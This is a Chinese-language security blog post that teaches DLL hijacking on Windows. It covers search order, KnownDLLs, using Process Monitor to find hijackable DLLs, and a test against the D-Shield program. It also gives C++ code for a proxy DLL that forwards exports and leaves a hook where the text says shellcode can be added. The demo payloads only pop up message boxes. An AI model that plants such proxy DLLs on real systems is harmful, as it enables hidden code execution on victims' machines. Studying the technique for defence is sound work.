DLL劫持學習及復現

Lushun發表於2021-03-05

0x01 dll簡介

在Windows系統中,為了節省記憶體和實現程式碼重用,微軟在Windows作業系統中實現了一種共享函式庫的方式。這就是DLL(Dynamic Link Library),即動態連結庫,這種庫包含了可由多個程式同時使用的程式碼和資料。
每個DLL都有一個入口函式(DLLMain),系統在特定環境下會呼叫DLLMain。在下面的事件發生時就會呼叫dll的入口函式:

  • 1.程式裝載DLL。
  • 2.程式解除安裝DLL。
  • 3.DLL在被裝載之後建立了新執行緒。
  • 4.DLL在被裝載之後一個執行緒被終止了。
    另外,每個DLL檔案中都包含有一個匯出函式表也叫輸出表(存在於PE的.edata節中)。使用一些PE檔案檢視工具如LoadPE,就可以檢視匯出函式的符號名即函式名稱和函式在匯出函式表中的標識號。
    應用程式匯入函式與DLL檔案中的匯出函式進行連結有兩種方式:隱式連結(load-time dynamic linking)也叫靜態呼叫和顯式連結(run-time dynamic linking)也叫動態呼叫。隱式連結方式一般用於開發和除錯,而顯式連結方式就是我們常見的使用LoadLibary或者LoadLibraryEx函式(注:涉及到模組載入的函式有很多)來載入DLL去呼叫相應的匯出函式。呼叫LoadLibrary或者LoadLibraryEx函式時可以使用DLL的相對路徑也可以使用絕對路徑,

dll路徑搜尋規則

但是很多情況下,開發人員都是使用了相對路徑來進行DLL的載入。那麼,在這種情況下,Windows系統會按照特定的順序去搜尋一些目錄,來確定DLL的完整路徑。關於動態連結庫的搜尋順序的更多詳細資料請參閱MSDN。根據MSDN文件的約定,在使用了DLL的相對路徑
呼叫LoadLibrary函式時,系統會依次從下面幾個位置去查詢所需要呼叫的DLL檔案。

  • 1.程式所在目錄。
  • 2.載入 DLL 時所在的當前目錄。
  • 3.系統目錄即 SYSTEM32 目錄。
  • 4.16位系統目錄即 SYSTEM 目錄。
  • 5.Windows目錄。
  • 6.PATH環境變數中列出的目錄
    微軟為了防止DLL劫持漏洞的產生,在XP SP2之後,新增了一個SafeDllSearchMode的登錄檔屬性。登錄檔路徑如下:
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDllSearchMode
    當SafeDllSearchMode的值設定為1,即安全DLL搜尋模式開啟時,查詢DLL的目錄順序如下:
  • 1.程式所在目錄
  • 2.系統目錄即 SYSTEM32 目錄。
  • 3.16位系統目錄即 SYSTEM 目錄。
  • 4.Windows目錄。
  • 5.載入 DLL 時所在的當前目錄。
  • 6.PATH環境變數中列出的目錄。

在win7以上版本

微軟為了更進一步的防禦系統的DLL被劫持,將一些容易被劫持的系統DLL寫進了一個登錄檔項中,那麼凡是此項下的DLL檔案就會被禁止從EXE自身所在的目錄下呼叫,而只能從系統目錄即SYSTEM32目錄下呼叫。登錄檔路徑如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
以前經常使用的一些劫持DLL已經被加入了KnownDLLs登錄檔項,這就意味著使用諸如usp10.dll,lpk.dll,ws2_32.dll去進行DLL劫持已經失效了。
所以在win7及以上當啟用了SafeDllSearchMode搜尋順序如下

  • 1.應用程式所在目錄。
  • 2.系統目錄SYSTEM32 目錄。
  • 3.16位系統目錄。沒有獲取該目錄路徑的函式,但會對其進行搜尋。
  • 4.Windows目錄。使用GetWindowsDirectory函式獲取此目錄的路徑。
  • 5.當前目錄
  • 6.環境變數PATH中所有目錄。需要注意的是,這裡不包括App Paths登錄檔項指定的應用程式路徑。
    Windows作業系統通過“DLL路徑搜尋目錄順序”和“KnownDLLs登錄檔項”的機制來確定應用程式所要呼叫的DLL的路徑,之後,應用程式就將DLL載入了自己的記憶體空間,執行相應的函式功能。
    不過,微軟又莫名其妙的允許使用者在上述登錄檔路徑中新增“ExcludeFromKnownDlls”登錄檔項,排除一些被“KnownDLLs登錄檔項”機制保護的DLL。也就是說,只要在“ExcludeFromKnownDlls”登錄檔項中新增你想劫持的DLL名稱就可以對該DLL進行劫持,不過修改之後需要重新啟動電腦才能生效。

在上述描述載入DLL的整個過程中,DLL劫持漏洞就是在系統進行安裝“DLL路徑搜尋目錄順序”搜尋DLL的時候發生的。
無論安全DLL搜尋模式是否開啟,系統總是首先會從應用程式(程式安裝目錄)所在目錄載入DLL,如果沒有找到就按照上面的順序依次進行搜尋。那麼,利用這個特性,攻擊者就可以偽造一個相同名稱的dll,只要這個dll不在KnownDLLs登錄檔項中,我們就可以對該dll進行劫持測試。
鍵值
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
win10的如下

0x02 尋找可劫持dll

有很多軟體可以檢視exe載入的dll
process-explorer
https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer

火絨劍

Process Monitor
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
使用的時候可以設定Filter,填入過濾條件,可以幫助排除很多無用的資訊

Include the following filters:
Operation is CreateFile
Operation is LoadImage
Path contains .cpl
Path contains .dll
Path contains .drv
Path contains .exe
Path contains .ocx
Path contains .scr
Path contains .sys

Exclude the following filters:
Process Name is procmon.exe
Process Name is Procmon64.exe
Process Name is System
Operation begins with IRP_MJ_
Operation begins with FASTIO_
Result is SUCCESS
Path ends with pagefile.sys

類似下圖這種就是該dll在KnownDLLs登錄檔項裡

0x03 劫持測試

這裡用D盾進行劫持實驗
還是先使用Process Explorer

可以將這些dll檔案與KnownDLLs登錄檔項裡的dll進行比較,找出不在範圍內的dll進行劫持測試
當然這裡也有偷懶的方法,批量自動化測試
這裡ctrl+s可以直接儲存獲取的資訊文字,然後再通過正則來提取路徑資訊,再放到批量驗證工具裡

存在的話就會直接輸出結果

不存在就會顯示no

上面顯示存在兩個dll可能可以劫持
這裡直接放一個彈計算器的dll改成WINSTA.dll放到D盾目錄下,再執行D盾,成功彈出。

0x04 進階測試

但是這種方法只劫持了載入計算機的函式,原來dll還有很多其他的匯出函式,這樣直接劫持可能會導致程式無法正常啟動。
所以一般會製作一個相同名稱,相同匯出函式表的一個“假”DLL,並將每個匯出函式轉向到“真”DLL。將這個“假”DLL放到程式的目錄下,當程式呼叫DLL中的函式時就會首先載入“假”DLL,在“假”DLL中攻擊者已經加入了惡意程式碼,這時這些惡意程式碼就會被執行,之後,“假”DLL再將DLL呼叫流程轉向“真”DLL,以免影響程式的正常執行。
這裡我們製作一個彈窗的dll來進行測試,
1.首先使用VS2019新建一個DLL專案

2.在生成的dllmain.cpp下新增

void msg() {
    MessageBox(0, L"Dll-1 load  succeed!", L"Good", 0);
}

3.然後再在標頭檔案下的framework.h檔案內新增下面程式碼來編譯匯出dll檔案

#pragma once
#define WIN32_LEAN_AND_MEAN             // 從 Windows 標頭檔案中排除極少使用的內容
// Windows 標頭檔案
#include <windows.h>
extern "C" __declspec(dllexport) void msg(void);

然後編譯生成Dll1.dll

再新建一個C++專案,填入如下程式碼

#include <iostream>
#include <Windows.h>
using namespace std;
int main()
{
    // 定義一個函式類DLLFUNC
    typedef void(*DLLFUNC)(void);
    DLLFUNC GetDllfunc = NULL;
    // 指定動態載入dll庫
    HINSTANCE hinst = LoadLibrary(L"Dll1.dll");//要載入的DLL
    if (hinst != NULL) {
        // 獲取函式位置
        GetDllfunc = (DLLFUNC)GetProcAddress(hinst, "msg");//函式名
    }
    if (GetDllfunc != NULL) {
        //執行msg函式
        (*GetDllfunc)();
    }
}

想了解dll編寫細節的可以看這裡
再次生成解決方案,然後將之前生成的Dll1.dll放到生成的Meg.exe同目錄下,執行Meg.exe

成功彈窗
這裡我們用之前轉發劫持dll的思路,來試驗一下
這裡我用指令碼一鍵生成用來劫持的dll

這是預設生成的

# include "pch.h"
# define EXTERNC extern "C"
# define NAKED __declspec(naked)
# define EXPORT EXTERNC __declspec(dllexport)
# define ALCPP EXPORT NAKED
# define ALSTD EXTERNC EXPORT NAKED void __stdcall
# define ALCFAST EXTERNC EXPORT NAKED void __fastcall
# define ALCDECL EXTERNC NAKED void __cdecl
EXTERNC
{
              FARPROC Hijack_msg;
}
namespace DLLHijacker
{
    HMODULE m_hModule = NULL;
    DWORD m_dwReturn[17] = {0};
    inline BOOL WINAPI Load()
    {
        TCHAR tzPath[MAX_PATH];
        lstrcpy(tzPath, TEXT("Dll1"));
        m_hModule = LoadLibrary(tzPath);
        if (m_hModule == NULL)
            return FALSE;
        return (m_hModule != NULL);
    }
    FARPROC WINAPI GetAddress(PCSTR pszProcName)
    {
        FARPROC fpAddress;
        CHAR szProcName[16];
        fpAddress = GetProcAddress(m_hModule, pszProcName);
        if (fpAddress == NULL)
        {
            if (HIWORD(pszProcName) == 0)
            {
                wsprintf((LPWSTR)szProcName, L"%d", pszProcName);
                pszProcName = szProcName;
            }
            ExitProcess(-2);
        }
        return fpAddress;
    }
}
using namespace DLLHijacker;
VOID Hijack()   //default open a calc.//新增自己的程式碼
{  
       
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        DisableThreadLibraryCalls(hModule);
        if(Load())
        {
            Hijack_msg = GetAddress("msg");
                     
            Hijack();
        }
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在編譯生成新的dll前要注意在程式碼這一行,將Dll1改為Dll2.dll

lstrcpy(tzPath, TEXT("Dll2.dll"));

然後在程式碼這一行新增彈窗或者執行shellcode

VOID Hijack()   //default open a calc.
{  
    MessageBoxW(NULL, L"DLL Hijack! by DLLHijacker", L":)", 0);
       
}

然後編譯生成
再將我們之前生成的Dll1.dll改為Dll2.dll,將兩個Dll和Meg.exe放在同一個目錄下

執行Meg.exe這時候應該會有兩個彈窗

可以看到是先劫持DLL新增的彈窗,再彈出DLL原本的彈窗

0x05 防禦

通用免疫方案:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\KnownDLLs]在此登錄檔項下定義一個“已知DLL名稱”,那麼凡是此項下的DLL檔案就會被禁止從EXE自身目錄下呼叫,而只能從系統目錄,也就是system32目錄下呼叫。據此可以寫一個簡單的DLL劫持免疫器
或者可以在載入dll是檢測MD5和大小,來防禦.

相關文章